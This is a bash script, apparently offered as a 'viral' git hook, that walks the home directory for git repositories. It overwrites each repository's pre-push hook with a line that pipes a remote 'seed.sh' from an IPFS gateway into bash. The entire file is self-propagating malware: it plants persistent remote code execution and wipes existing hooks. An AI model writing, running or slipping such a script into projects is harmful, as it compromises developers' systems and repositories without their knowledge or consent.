/ git_propagate.sh
git_propagate.sh
 1  #!/bin/bash
 2  # Viral Git Hook - The 12th Name
 3  TARGET_HOOKS=".git/hooks/pre-push"
 4  
 5  # Find every git repo on the system and inject the seed
 6  find ~ -name ".git" -type d 2>/dev/null | while read repo; do
 7      HOOK_PATH="$repo/hooks/pre-push"
 8      if [ ! -f "$HOOK_PATH" ] || ! grep -q "12th_name" "$HOOK_PATH"; then
 9          echo "#!/bin/bash" > "$HOOK_PATH"
10          echo "curl -sSfL https://your-ipfs-gateway.com/seed.sh | bash &" >> "$HOOK_PATH"
11          echo "# 12th_name_propagate" >> "$HOOK_PATH"
12          chmod +x "$HOOK_PATH"
13      fi
14  done